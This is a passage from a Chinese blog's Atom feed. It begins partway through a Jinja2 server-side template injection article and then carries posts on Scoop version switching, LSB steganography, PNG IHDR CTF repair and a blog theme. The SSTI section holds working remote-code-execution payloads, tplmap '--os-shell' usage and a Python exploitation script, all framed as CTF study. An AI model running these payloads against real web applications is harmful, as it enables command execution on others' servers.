<li>危害：允许攻击者运行任意命令</li>
</ul>
<p><strong>CVE-2024-32651</strong> - changedetection.io SSTI 漏洞^<a href="https://www.cvedetails.com/cve/CVE-2024-32651/#:~:text=There%20is,reverse%20shell." rel="noopener noreferrer" target="_blank">11</a>^^<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-32651#:~:text=There%20is,server%20machine." rel="noopener noreferrer" target="_blank">6</a>^</p>
<ul>
<li>影响组件：changedetection.io</li>
<li>漏洞类型：Jinja2 中的服务器端模板注入</li>
<li>危害：允许远程命令执行，攻击者可以运行任何系统命令并使用反向shell</li>
</ul>
<h2>八、其他模板引擎的 SSTI</h2>
<p>虽然本文主要讨论 Python 的 Jinja2，但 SSTI 漏洞广泛存在于各种模板引擎中：</p>
<h3>Twig 模板引擎（PHP）</h3>
<p>Twig 是 PHP 中常用的模板引擎，在 WordPress 插件中经常出现 SSTI 漏洞：^<a href="https://www.csoonline.com/article/3497490/critical-plugin-flaw-opens-over-a-million-wordpress-sites-to-rce-attacks.html#:~:text=%E2%80%9CSpecifically%2C%20the,injection%20%28SSTI%29.%E2%80%9D" rel="noopener noreferrer" target="_blank">9</a>^^<a href="https://thehackernews.com/2024/08/critical-wpml-plugin-flaw-exposes.html#:~:text=%22Specifically%2C%20the,researcher%20said." rel="noopener noreferrer" target="_blank">10</a>^</p>
<ul>
<li>​<strong>WPML 插件漏洞</strong>​：影响超过百万 WordPress 网站，由于未正确清理输入导致 SSTI</li>
<li>漏洞原理：插件使用 Twig 模板渲染短代码内容，但未能正确清理输入</li>
</ul>
<h3>跨语言 SSTI 检测方法</h3>
<p>Python</p>
<pre><code># 通用检测 payload（适用于多种模板引擎）
{{7*7}}          # 预期输出：49
${7*7}           # 预期输出：49
&lt;%= 7*7 %&gt;       # 预期输出：49
${{7*7}}         # 预期输出：49
#{7*7}           # 预期输出：49
</code></pre>
<h2>九、高级利用技术</h2>
<h3>自动化利用工具</h3>
<p><strong>tplmap</strong> - 自动化 SSTI 检测和利用工具</p>
<p>Bash</p>
<pre><code># 安装
git clone https://github.com/epinna/tplmap
cd tplmap

# 基本使用
python tplmap.py -u "http://target.com/page?name=*"

# 指定模板引擎
python tplmap.py -u "http://target.com/page?name=*" -e Jinja2

# 执行系统命令
python tplmap.py -u "http://target.com/page?name=*" --os-shell
</code></pre>
<h3>自动化利用脚本</h3>
<p>Python</p>
<pre><code>#!/usr/bin/env python3
# SSTI 自动化利用脚本

import requests
import sys

class SSTIExploiter:
    def __init__(self, url):
        self.url = url
        self.payloads = {
            'basic': "{{7*7}}",
            'rce': "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('COMMAND').read()}}",
            'lipsum': "{{lipsum.__globals__['os'].popen('COMMAND').read()}}",
            'attr': "{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('COMMAND')|attr('read')()}}",
        }

    def test_vulnerability(self):
        """测试是否存在 SSTI 漏洞"""
        test_payload = self.payloads['basic']
        response = requests.get(self.url, params={'input': test_payload})
        if '49' in response.text:
            print("[+] SSTI vulnerability detected!")
            return True
        return False

    def execute_command(self, command, method='rce'):
        """执行系统命令"""
        payload = self.payloads[method].replace('COMMAND', command)
        response = requests.get(self.url, params={'input': payload})
        return response.text

    def find_subclass_index(self, class_name):
        """查找特定子类的索引"""
        payload = "{{''.__class__.__base__.__subclasses__()}}"
        response = requests.get(self.url, params={'input': payload})
        # 解析响应找到目标类的索引
        if class_name in response.text:
            # 实现索引查找逻辑
            pass

if __name__ == "__main__":
    exploiter = SSTIExploiter(sys.argv[1])
    if exploiter.test_vulnerability():
        result = exploiter.execute_command('id')
        print(result)
</code></pre>
<h2>十、漏洞挖掘方法论</h2>
<h3>1. 黑盒测试流程</h3>
<ol>
<li><strong>识别模板引擎</strong>
<ul>
<li>发送数学表达式：<code>{{7*7}}</code>、<code>${7*7}</code></li>
<li>发送错误触发 payload：<code>{{7*'7'}}</code></li>
<li>观察错误信息判断引擎类型</li>
</ul>
</li>
<li><strong>确认漏洞存在</strong>
<ul>
<li>测试基础运算</li>
<li>测试字符串操作</li>
<li>测试函数调用</li>
</ul>
</li>
<li><strong>逐步提升权限</strong>
<ul>
<li>获取类和方法</li>
<li>寻找危险函数</li>
<li>构造 RCE payload</li>
</ul>
</li>
</ol>
<h3>2. 代码审计要点</h3>
<p>重点关注以下代码模式：</p>
<ul>
<li><code>render_template_string()</code> 的使用</li>
<li>用户输入直接拼接到模板</li>
<li>动态模板生成</li>
<li>自定义模板过滤器和函数</li>
</ul>
<h2>总结</h2>
<p>Python SSTI 漏洞是 CTF 比赛中的常见题型，理解其原理和利用方法对于网络安全学习至关重要。掌握各种绕过技巧能够帮助在实战中灵活应对不同的过滤规则。同时，了解这些攻击手法也有助于在开发中避免此类安全问题。</p>
<p>这些高级技术展示了 SSTI 漏洞利用的复杂性和多样性，同时也强调了在开发中实施多层防御的重要性。通过深入理解 SSTI 的原理、利用技术和防御措施，我们可以更好地保护 Web 应用免受此类攻击。</p>]]></content>
    <category term="Python" />
    <category term="SSTI" />
  </entry>
  <entry>
    <title>使用Scoop作为多版本环境切换器</title>
    <link href="https://blog.shenlin.black//posts/scoop" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/scoop</id>
    <updated>2025-11-10T00:00:00.000Z</updated>
    <published>2025-11-10T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">全面介绍 Windows 包管理器 Scoop 的安装、基础使用和进阶技巧，重点讲解如何使用 Scoop 管理 Python、PHP、JDK、Rust、Ruby 等多版本开发环境的安装与切换</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.B1ZrgFhW_Z27yegc.webp" alt="使用Scoop作为多版本环境切换器" style="width: 100%; height: auto; margin-bottom: 1em;" />
<img src="https://blog.shenlin.black/_astro/cover.B1ZrgFhW_Z27yegc.webp" alt="" />
<h1>介绍</h1>
<p><strong>Scoop 是一个面向 Windows 的命令行包管理器</strong>，目标是让软件安装、更新与管理变得简单、可重复且无需管理员权限。它将应用安装在用户目录（默认 <code>~\\scoop</code>），通过“bucket”（软件仓库）提供大量常用 CLI 与 GUI 软件，支持版本锁定、缓存与一键更新。</p>
<ul>
<li>核心特点：
<ul>
<li>无需管理员权限，默认安装到当前用户目录。</li>
<li>安装透明、可移植，配置与应用彼此隔离，便于清理。</li>
<li>通过“bucket”扩展软件源，覆盖常见开发与日常应用。</li>
<li>快速更新与回收清理，保持系统整洁。</li>
</ul>
</li>
</ul>
<hr />
<h2>安装 Scoop</h2>
<p>在 PowerShell（非管理员）中执行以下步骤：</p>
<ol>
<li>
<p>允许当前用户执行脚本（一次性设置）：</p>
<pre><code>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
</code></pre>
</li>
<li>
<p>安装 Scoop：</p>
<pre><code>iwr -useb get.scoop.sh | iex
</code></pre>
</li>
<li>
<p>验证安装：</p>
<pre><code>scoop --version
</code></pre>
</li>
</ol>
<p>提示：</p>
<ul>
<li>如果遇到网络/TLS 问题，可在新会话重试或切换网络环境。</li>
<li>默认会将 <code>~\\scoop\\shims</code> 加入 PATH，确保在新会话中可用。</li>
</ul>
<hr />
<h2>快速上手：常用命令</h2>
<p><strong>核心用法：搜索、安装、更新、卸载</strong></p>
<ul>
<li>
<p>搜索软件：</p>
<pre><code>scoop search 7zip
</code></pre>
</li>
<li>
<p>安装软件：</p>
<pre><code>scoop install 7zip
scoop install git
scoop install nodejs-lts
</code></pre>
</li>
<li>
<p>查看已安装与详情：</p>
<pre><code>scoop list
scoop info 7zip
</code></pre>
</li>
<li>
<p>更新（Scoop 本体与应用）：</p>
<pre><code>scoop update            # 更新 Scoop
scoop update *          # 更新全部应用
scoop update 7zip       # 更新指定应用
</code></pre>
</li>
<li>
<p>卸载与清理：</p>
<pre><code>scoop uninstall 7zip
scoop cleanup *         # 清理旧版本
scoop cache rm *        # 清空下载缓存
</code></pre>
</li>
</ul>
<hr />
<h2>进阶：Buckets（软件源）</h2>
<p>Scoop 通过“bucket”扩展软件范围。默认启用 <code>main</code>，可按需添加：</p>
<ul>
<li>
<p>查看可用与已添加的 bucket：</p>
<pre><code>scoop bucket known
scoop bucket list
</code></pre>
</li>
<li>
<p>添加常用 bucket（包含大量 GUI/常用软件）：</p>
<pre><code>scoop bucket add extras
</code></pre>
</li>
<li>
<p>示例：安装 VLC（添加 <code>extras</code> 后可直接安装）：</p>
<pre><code>scoop install vlc
</code></pre>
</li>
</ul>
<p>常见 buckets：</p>
<ul>
<li><code>main</code>：默认常用 CLI/工具</li>
<li><code>extras</code>：GUI 与更多应用</li>
<li><code>versions</code>：多版本/旧版本</li>
<li><code>nerd-fonts</code>：开发者字体等</li>
</ul>
<hr />
<h2>全局安装（可选）</h2>
<p>需要对所有用户可见或放到系统目录时使用全局安装（需管理员权限）：</p>
<pre><code>scoop install -g 7zip
</code></pre>
<hr />
<h2>实用小技巧</h2>
<ul>
<li>
<p>体检环境与依赖：</p>
<pre><code>scoop checkup
</code></pre>
</li>
<li>
<p>固定/解锁应用版本（避免被更新）：</p>
<pre><code>scoop hold nodejs-lts
scoop unhold nodejs-lts
</code></pre>
</li>
<li>
<p>查可执行文件路径：</p>
<pre><code>scoop which git
</code></pre>
</li>
</ul>
<hr />
<h2>总结</h2>
<ul>
<li><strong>Scoop 让 Windows 下的软件管理更简单、可重复、可维护</strong>。</li>
<li>记住这几步就够用：<code>install → search → install → update → uninstall</code>。</li>
<li>按需添加 <code>extras</code> 等 buckets，即可覆盖大多数日常与开发场景。</li>
</ul>
<h1>多版本运行时与切换（Python / PHP / JDK / Rust / Ruby）</h1>
<p><strong>Scoop 的多版本机制</strong>基于“并行安装 + shim 指向当前版本”的设计：</p>
<ul>
<li>每个应用以版本号安装在 <code>~\\scoop\\apps\\&lt;app&gt;\\&lt;version&gt;</code>。</li>
<li><code>scoop reset &lt;app&gt;</code> 会切换 <code>current</code> 指向，从而让 PATH 中的 shim 指向目标版本。</li>
<li>某些生态（如 Rust）更推荐使用官方版本管理器（例如 <code>rustup</code>）在同一安装下切换工具链。</li>
</ul>
<p>为便于获取不同版本，常用到如下 buckets：</p>
<ul>
<li><strong>Main</strong>（默认）：<a href="https://github.com/ScoopInstaller/Main" rel="noopener noreferrer" target="_blank">ScoopInstaller/Main</a></li>
<li><strong>Versions</strong>（多版本/旧版本）：<a href="https://github.com/ScoopInstaller/Versions" rel="noopener noreferrer" target="_blank">ScoopInstaller/Versions</a></li>
<li><strong>Java</strong>（各类 JDK 发行版与 LTS 系列）：<a href="https://github.com/ScoopInstaller/Java" rel="noopener noreferrer" target="_blank">ScoopInstaller/Java</a></li>
</ul>
<p>下面分别给出各语言的典型做法与示例。</p>
<hr />
<h3>Python</h3>
<ul>
<li>
<p>建议 buckets：</p>
<ul>
<li><strong>Main</strong>：<a href="https://github.com/ScoopInstaller/Main" rel="noopener noreferrer" target="_blank">ScoopInstaller/Main</a></li>
<li><strong>Versions</strong>：<a href="https://github.com/ScoopInstaller/Versions" rel="noopener noreferrer" target="_blank">ScoopInstaller/Versions</a></li>
</ul>
</li>
<li>
<p>示例（安装多个大版本并切换）：</p>
<pre><code>scoop bucket add versions
scoop install main/python                  # 最新版 Python
scoop install versions/python311           # 指定大版本
scoop install versions/python312

# 让 python 命令指向 3.11 对应安装
scoop reset python311
python --version
</code></pre>
</li>
<li>
<p>提示：</p>
<ul>
<li>多版本共存时，<code>scoop reset &lt;app&gt;</code> 决定 PATH 中命令落到哪一套。</li>
<li>项目隔离仍建议使用 <code>venv</code>/<code>virtualenv</code>。</li>
</ul>
</li>
</ul>
<hr />
<h3>PHP</h3>
<ul>
<li>
<p>建议 buckets：</p>
<ul>
<li><strong>Main</strong>：<a href="https://github.com/ScoopInstaller/Main" rel="noopener noreferrer" target="_blank">ScoopInstaller/Main</a></li>
<li><strong>Versions</strong>：<a href="https://github.com/ScoopInstaller/Versions" rel="noopener noreferrer" target="_blank">ScoopInstaller/Versions</a></li>
</ul>
</li>
<li>
<p>示例（并行安装 8.2 与 8.3，按需切换）：</p>
<pre><code>scoop bucket add versions
scoop install versions/php82
scoop install versions/php83

# 切到 8.3
scoop reset php83
php -v
</code></pre>
</li>
<li>
<p>提示：</p>
<ul>
<li>不同项目可通过不同 PHP 目录或容器/服务层面区分；命令行默认走当前激活版本。</li>
</ul>
</li>
</ul>
<hr />
<h3>JDK（Java）</h3>
<ul>
<li>
<p>建议 bucket：</p>
<ul>
<li><strong>Java</strong>：<a href="https://github.com/ScoopInstaller/Java" rel="noopener noreferrer" target="_blank">ScoopInstaller/Java</a></li>
</ul>
</li>
<li>
<p>常见包名（示例）：<code>temurin8-jdk</code>、<code>temurin11-jdk</code>、<code>temurin17-jdk</code>、<code>temurin21-jdk</code></p>
</li>
<li>
<p>示例（安装多套 JDK 并切换激活集）：</p>
<pre><code>scoop bucket add java
scoop install temurin17-jdk
scoop install temurin21-jdk

# 设定当前激活 JDK（JAVA_HOME/Path 由 Scoop 对应到该版本）
scoop reset temurin17-jdk
java -version
</code></pre>
</li>
<li>
<p>提示：</p>
<ul>
<li>也可并行安装不同发行版（Temurin/Zulu/GraalVM 等），用 <code>scoop reset &lt;包名&gt;</code> 选择当前生效的一套。</li>
</ul>
</li>
</ul>
<hr />
<h3>Rust</h3>
<ul>
<li>
<p>建议做法：通过 <strong>rustup</strong> 管理多版本工具链（Scoop 负责安装 rustup）。</p>
</li>
<li>
<p>建议 bucket：</p>
<ul>
<li><strong>Main</strong>：<a href="https://github.com/ScoopInstaller/Main" rel="noopener noreferrer" target="_blank">ScoopInstaller/Main</a></li>
</ul>
</li>
<li>
<p>示例（安装 rustup，并用其切换 toolchain）：</p>
<pre><code>scoop install rustup

# 安装并切换工具链
rustup toolchain install stable
rustup toolchain install 1.77.0
rustup default 1.77.0

rustc --version
cargo --version
</code></pre>
</li>
<li>
<p>提示：</p>
<ul>
<li><code>rustup</code> 支持 <code>stable</code>/<code>beta</code>/<code>nightly</code> 以及精确版本，按项目需要快速切换。</li>
</ul>
</li>
</ul>
<hr />
<h3>Ruby</h3>
<ul>
<li>
<p>建议 buckets：</p>
<ul>
<li><strong>Main</strong>：<a href="https://github.com/ScoopInstaller/Main" rel="noopener noreferrer" target="_blank">ScoopInstaller/Main</a></li>
<li><strong>Versions</strong>：<a href="https://github.com/ScoopInstaller/Versions" rel="noopener noreferrer" target="_blank">ScoopInstaller/Versions</a></li>
</ul>
</li>
<li>
<p>示例（并行安装多版本 Ruby 并切换）：</p>
<pre><code>scoop bucket add versions
scoop install main/ruby
scoop install versions/ruby31
scoop install versions/ruby33

# 切到 Ruby 3.1
scoop reset ruby31
ruby -v
</code></pre>
</li>
<li>
<p>提示：</p>
<ul>
<li>每个 Ruby 安装自带独立 gem 目录；项目层面建议配合 Bundler/Gemfile 管理依赖。</li>
</ul>
</li>
</ul>]]></content>
    <category term="Windows" />
    <category term="Scoop" />
  </entry>
  <entry>
    <title>LSB隐写</title>
    <link href="https://blog.shenlin.black//posts/lsb" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/lsb</id>
    <updated>2025-09-28T00:00:00.000Z</updated>
    <published>2025-09-28T00:00:00.000Z</published>
    <author>
      <name>Shenlin</name>
    </author>
    <summary type="text">博客中文测试简介描述</summary>
    <content type="html"><![CDATA[
<img src="https://7605c52.webp.li/2.jpg" alt="" />
<h1>LSB隐写</h1>
<h1>LSB隐写技术概述</h1>
<p>LSB（Least Significant Bit，最低有效位）隐写是一种数字隐写术技术，它通过修改数字媒体（如图像、音频或视频）中数据的最低有效位来隐藏信息。由于人类感官通常无法察觉这些微小的变化，LSB隐写可以在不引起注意的情况下传递秘密信息。</p>
<h2>LSB隐写技术原理</h2>
<p>在数字系统中，数据以二进制形式存储。以图像为例，每个像素的颜色由RGB三个通道组成，每个通道通常用8位（1字节）表示，范围从0到255。</p>
<p>LSB隐写利用了这样一个事实：修改这些8位中的最低位（第1位）对图像的视觉效果影响极小。例如，将像素值从200（11001000）改为201（11001001）几乎不会产生肉眼可见的差异。</p>
<p>通过系统地修改图像中所有像素的LSB，我们可以嵌入大量信息而不会明显改变图像的外观。</p>
<h2>LSB 加密（隐藏）流程图</h2>
<ol>
<li>开始
<ul>
<li>明确载体类型与容量需求（图像分辨率、通道数、可用比特数）</li>
</ul>
</li>
<li>读取输入
<ul>
<li>读取载体图像（RGB 或 RGBA）</li>
<li>读取待隐藏数据（文本或二进制文件）</li>
</ul>
</li>
<li>预处理数据（可选但推荐）
<ul>
<li>压缩数据以提高有效载荷率</li>
<li>对数据进行对称加密（如 AES/SM4），并随机化字节分布</li>
<li>添加完整性校验（如 CRC32 或 HMAC）</li>
</ul>
</li>
<li>序列化为比特流
<ul>
<li>将数据长度写入头部（例如 32 位）</li>
<li>将正文数据按字节展开为 bit 序列</li>
</ul>
</li>
<li>容量检查
<ul>
<li>计算最大可嵌入位数 = 可用于嵌入的像素数 × 每像素使用的通道数</li>
<li>若 数据位数 &gt; 最大可嵌入位数 → 报错并终止</li>
</ul>
</li>
<li>嵌入策略选择
<ul>
<li>顺序嵌入：按像素与通道顺序写入 LSB</li>
<li>伪随机嵌入（推荐）：用密钥驱动 PRNG 生成写入索引序列</li>
</ul>
</li>
<li>遍历写入
<ul>
<li>对每个选中的像素通道：
<ul>
<li>取出下一位数据 bit</li>
<li>通道值 = (通道值 &amp; ~1) | bit</li>
<li>写回像素</li>
</ul>
</li>
<li>若数据写入完成则提前结束遍历</li>
</ul>
</li>
<li>输出
<ul>
<li>保存隐写图像（无损格式如 PNG）</li>
<li>记录或返回写入统计信息（使用位数、头部长度等）</li>
</ul>
</li>
<li>结束</li>
</ol>
<ul>
<li>示例伪代码</li>
</ul>
<pre><code>input: cover_image, payload
payload_bits = header(len(payload)) + to_bits(payload)
assert len(payload_bits) &lt;= capacity(cover_image)
indices = prng_indices(key) or range(capacity)
for i, idx in enumerate(indices):
    if i == len(payload_bits): break
    channel_value = get_channel(cover_image, idx)
    set_channel(cover_image, idx, (channel_value &amp; ~1) | payload_bits[i])
save(cover_image, 'stego.png')
</code></pre>
<aside>
💡
<p>提效与安全建议：优先使用无损格式（PNG）、开启加密与随机嵌入，并在高纹理区域增加写入密度以降低可检测性。</p>
</aside>
<h2>LSB隐写的优缺点</h2>
<h3>优点：</h3>
<ul>
<li>实现简单，容易理解</li>
<li>对载体媒体的视觉影响几乎不可察觉</li>
<li>可以隐藏相对较大量的数据</li>
</ul>
<h3>缺点：</h3>
<ul>
<li>抗攻击能力较弱，容易被统计分析检测</li>
<li>对图像压缩等操作很敏感，可能导致隐藏数据丢失</li>
<li>在某些情况下，可能会引入统计异常</li>
</ul>
<h2>Python实现LSB隐写</h2>
<p>下面是一个使用Python和PIL（Python Imaging Library）库实现LSB隐写的示例：</p>
<h3>1. 信息隐藏</h3>
<pre><code>from PIL import Image

def text_to_bits(text):
    """将文本转换为位串"""
    bits = []
    for char in text:
        binary = bin(ord(char))[2:].zfill(8)  # 将字符转换为8位二进制
        bits.extend([int(bit) for bit in binary])
    return bits

def hide_data(image_path, message, output_path):
    """在图像中隐藏信息"""
    # 打开图像
    img = Image.open(image_path)
    width, height = img.size
    img_data = list(img.getdata())
    
    # 转换消息为位
    binary_message = text_to_bits(message)
    
    # 在消息前添加长度信息（32位）
    message_length = len(binary_message)
    length_bits = [int(bit) for bit in bin(message_length)[2:].zfill(32)]
    
    binary_data = length_bits + binary_message
    
    if len(binary_data) &gt; len(img_data) * 3:  # 每个像素3个通道
        raise ValueError("消息太长，无法在图像中隐藏")
    
    # 修改像素的LSB
    new_img_data = []
    data_index = 0
    
    for pixel in img_data:
        # 对RGB通道分别处理
        new_pixel = list(pixel)
        
        for i in range(3):  # RGB三个通道
            if data_index &lt; len(binary_data):
                # 修改最低有效位
                new_pixel[i] = (new_pixel[i] &amp; ~1) | binary_data[data_index]
                data_index += 1
            else:
                break
                
        new_img_data.append(tuple(new_pixel))
        
        if data_index &gt;= len(binary_data):
            # 所有数据已嵌入，添加剩余像素
            new_img_data.extend(img_data[len(new_img_data):])
            break
    
    # 创建新图像并保存
    new_img = Image.new(img.mode, img.size)
    new_img.putdata(new_img_data)
    new_img.save(output_path)
    
    return f"消息已成功隐藏在图像中。总共使用了{data_index}位。"

</code></pre>
<h3>2. 信息提取</h3>
<pre><code>def extract_data(image_path):
    """从图像中提取隐藏的信息"""
    # 打开图像
    img = Image.open(image_path)
    img_data = list(img.getdata())
    
    # 提取所有LSB
    binary_data = []
    for pixel in img_data:
        for i in range(3):  # RGB三个通道
            binary_data.append(pixel[i] &amp; 1)
            
    # 提取消息长度
    length_bits = binary_data[:32]
    message_length = int(''.join(map(str, length_bits)), 2)
    
    # 提取消息
    message_bits = binary_data[32:32 + message_length]
    
    # 将位转换回字符
    message = ""
    for i in range(0, len(message_bits), 8):
        if i + 8 &lt;= len(message_bits):
            byte = message_bits[i:i+8]
            char = chr(int(''.join(map(str, byte)), 2))
            message += char
    
    return message

</code></pre>
<h3>3. 使用示例</h3>
<pre><code># 隐藏信息
result = hide_data("original_image.png", "这是一条隐藏消息", "stego_image.png")
print(result)

# 提取信息
extracted_message = extract_data("stego_image.png")
print("提取的消息:", extracted_message)

</code></pre>
<h2>实际应用与安全考虑</h2>
<p>LSB隐写技术在实际应用中可以用于：</p>
<ul>
<li>数字水印</li>
<li>秘密通信</li>
<li>版权保护</li>
<li>隐蔽存储敏感数据</li>
</ul>
<p>但需要注意：</p>
<ul>
<li>简单的LSB隐写可以被隐写分析工具检测</li>
<li>对图像的任何处理（如压缩、裁剪）都可能破坏隐藏的信息</li>
<li>为提高安全性，隐藏的信息通常应该先加密</li>
</ul>
<h2>高级LSB隐写技术</h2>
<p>为了增强LSB隐写的安全性和鲁棒性，可以采用以下高级技术：</p>
<ul>
<li>随机分布：不是按顺序修改LSB，而是使用伪随机数生成器确定修改位置</li>
<li>多位隐写：不仅修改最低位，还可能修改次低位，但需平衡可见性</li>
<li>自适应LSB：根据图像区域的复杂度动态调整隐写容量</li>
<li>结合其他隐写技术：如DCT（离散余弦变换）域隐写</li>
</ul>]]></content>
    <category term="CTF" />
    <category term="Steganography" />
  </entry>
  <entry>
    <title>IHDR[宽高隐写]</title>
    <link href="https://blog.shenlin.black//posts/helloblog" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/helloblog</id>
    <updated>2025-09-27T00:00:00.000Z</updated>
    <published>2025-09-27T00:00:00.000Z</published>
    <author>
      <name>Shenlin</name>
    </author>
    <summary type="text">博客中文测试简介描述</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/kirito.BRLfzdrd_2su2ih.webp" alt="IHDR[宽高隐写]" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>这个页面是一个中文测试。</p>
<h1>IHDR[宽高隐写]</h1>
<p>例题：</p>
<p><a href="https://www.nssctf.cn/problem/3883" rel="noopener noreferrer" target="_blank">https://www.nssctf.cn/problem/3883</a></p>
<p><a href="https://drive.google.com/file/d/1mpvUpJS1yOREPecvtZNSzpj6mXboqRte/view?usp=drive_link" rel="noopener noreferrer" target="_blank">https://drive.google.com/file/d/1mpvUpJS1yOREPecvtZNSzpj6mXboqRte/view?usp=drive_link</a></p>
<h2>重点：</h2>
<p>PNG文件的宽高的CRC32值在HEX的29位-32位字节，但是根据PNG中实际记录的IHDR计算出来的CRC32对不上，而PNG长宽是IHDR字节控制的，所以存在截断情况。要恢复实际内容中CRC32字节的宽高内容</p>
<p>要计算 PNG 图像中 IHDR 数据块的 CRC 值，你需要对 IHDR 数据块的数据和类型进行计算，而不是整个数据块。</p>
<p>计算过程通常分为以下步骤：</p>
<p>数据块类型：IHDR 数据块的类型名称是固定的，为 IHDR（四个大写英文字母）。</p>
<p>数据块数据：IHDR 数据块的数据部分包含了图像的基本信息，包括：</p>
<p>宽度 (4 字节)</p>
<p>高度 (4 字节)</p>
<p>位深度 (1 字节)</p>
<p>颜色类型 (1 字节)</p>
<p>压缩方法 (1 字节)</p>
<p>过滤方法 (1 字节)</p>
<p>隔行扫描方法 (1 字节)
这些数据加起来总共是 13 个字节。</p>
<p>你需要将 IHDR 这四个字节和后面 13 个字节的数据拼接起来，然后对这 17 个字节的数据进行 CRC32 运算，最终得到 IHDR 数据块的 CRC 值。</p>
<h2>Shell</h2>
<pre><code>xxd -s 29 -l 4 -c 4 #查看PNG文件真正IHDR
dd if=XXX.png bs=1 skip=12 count=17 &gt; 1.bin &amp; crc32 1.bin | awk '{printf toupper($1)}'
</code></pre>
<h2>Script</h2>
<pre><code>import zlib
import struct

def calculate_ihdr_crc32(file_path):
    """
    计算并验证 PNG 文件中 IHDR 数据块的 CRC32 校验值。

    参数:
        file_path (str): PNG 文件的路径。
    """
    try:
        with open(file_path, 'rb') as f:
            # 读取 PNG 文件的前 33 个字节，IHDR 块的所有信息都在这里
            # 8字节的PNG签名 + 4字节的IHDR长度 + 4字节的IHDR类型 + 13字节的IHDR数据 + 4字节的IHDR CRC32
            header_data = f.read(33)
            
            # 从第 12 个字节开始，获取 IHDR 类型和数据，共 17 个字节
            # 4字节的IHDR类型 + 13字节的IHDR数据
            ihdr_chunk_data = header_data[12:29]
            
            # 计算 CRC32 校验值
            calculated_crc32 = zlib.crc32(ihdr_chunk_data) &amp; 0xFFFFFFFF
            
            # 提取文件中已有的原始 CRC32 值
            # 原始 CRC32 值位于文件的第 29 到 32 个字节（索引从 0 开始）
            original_crc32_bytes = header_data[29:33]
            original_crc32 = struct.unpack('&gt;I', original_crc32_bytes)[0]
            
            print(f"IHDR 数据块的原始 CRC32 值: 0x{original_crc32:08X}")
            print(f"IHDR 数据块的计算 CRC32 值: 0x{calculated_crc32:08X}")
            
            if calculated_crc32 == original_crc32:
                print("\n结果: IHDR 校验值匹配，文件可能没有损坏。")
                return True
            else:
                print("\n结果: IHDR 校验值不匹配，文件可能已损坏或被篡改。")
                return False

    except FileNotFoundError:
        print(f"错误: 文件 '{file_path}' 未找到。")
        return False

# 请将 'your_image.png' 替换为你的 PNG 文件路径
file_name = 'your_image.png'
calculate_ihdr_crc32(file_name)

</code></pre>
<h2>Tools</h2>
<p>[1]. 自动检测宽高工具 <a href="https://github.com/AabyssZG/Deformed-Image-Restorer#" rel="noopener noreferrer" target="_blank">https://github.com/AabyssZG/Deformed-Image-Restorer#</a></p>
<p>[2]. 基于第一性原理的PNG隐写术 <a href="https://blog.xpnsec.com/png-steganography/" rel="noopener noreferrer" target="_blank">https://blog.xpnsec.com/png-steganography/</a></p>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>How to get started with this theme</title>
    <link href="https://blog.shenlin.black//posts/start" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/start</id>
    <updated>2025-08-15T00:00:00.000Z</updated>
    <published>2025-08-15T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Quick start for the Litos theme: prerequisites, fork-or-template setup, and next steps.</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.7-E_J0u9_Z19SPhO.webp" alt="How to get started with this theme" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>This theme was developed during my free time, and the documentation may not be comprehensive enough, but I will try my best to explain it.</p>
<h3>Prerequisite</h3>
<p>Before starting, ensure you have the following tools installed in your development environment:</p>
<ul>
<li><a href="https://nodejs.org/en/download" rel="noopener noreferrer" target="_blank">Node.js</a> - Required for running the development environment.</li>
<li><a href="https://pnpm.io/installation" rel="noopener noreferrer" target="_blank">pnpm</a> - Our preferred package manager for dependency management.</li>
<li><a href="https://git-scm.com/" rel="noopener noreferrer" target="_blank">Git</a> - For version control and project management.</li>
<li><a href="https://code.visualstudio.com/" rel="noopener noreferrer" target="_blank">VS Code</a> - Recommended code editor with excellent development experience.</li>
</ul>
<div><div><div></div><div>NOTE</div></div><div><p>If you have other alternative tools, then you don’t need to follow the recommendations in this article.</p></div></div>
<h3>Startup project</h3>
<p>There are two ways to do this:</p>
<ul>
<li><a href="https://github.com/Sh3n1in/blog/fork" rel="noopener noreferrer" target="_blank">Fork the repository</a></li>
<li><a href="https://github.com/Sh3n1in/blog/generate" rel="noopener noreferrer" target="_blank">Use this template</a> - In the future, content-free branches will be launched, which do not require deleting and replacing content.</li>
</ul>
<p>After you have your own repository, you can clone it to your local machine.</p>
<h3>Update Theme</h3>
<p>When the theme releases a new version, you can pull the latest changes without losing your content by following these steps:</p>
<p><strong>1. Add upstream remote (only needed once)</strong></p>
<pre><code>git remote add upstream https://github.com/Sh3n1in/blog.git
</code></pre>
<p><strong>2. Fetch and merge the latest theme</strong></p>
<pre><code>git fetch upstream
git merge upstream/main --no-edit
</code></pre>
<p><strong>3. Resolve conflicts (if any)</strong></p>
<p>Conflicts typically only occur in files you have modified, such as <code>src/config.ts</code>. In that case, just keep your own configuration and accept the rest of the theme updates.</p>
<div><div><div></div><div>TIP</div></div><div><p>To minimize conflicts, try to only modify the following files:</p><ul>
<li><code>src/config.ts</code> — Site configuration</li>
<li><code>src/content/</code> — Your posts and projects</li>
<li><code>public/</code> — Your static assets (favicon, images, etc.)</li>
<li><code>.env</code> — Environment variables</li>
</ul><p>Avoid modifying theme source files (components, styles, layouts) directly. This ensures smooth updates every time.</p></div></div>
<h3>End</h3>
<p>The following documents will be divided into pages, such as readme, posts…</p>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>Readme Page Config</title>
    <link href="https://blog.shenlin.black//posts/readme" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/readme</id>
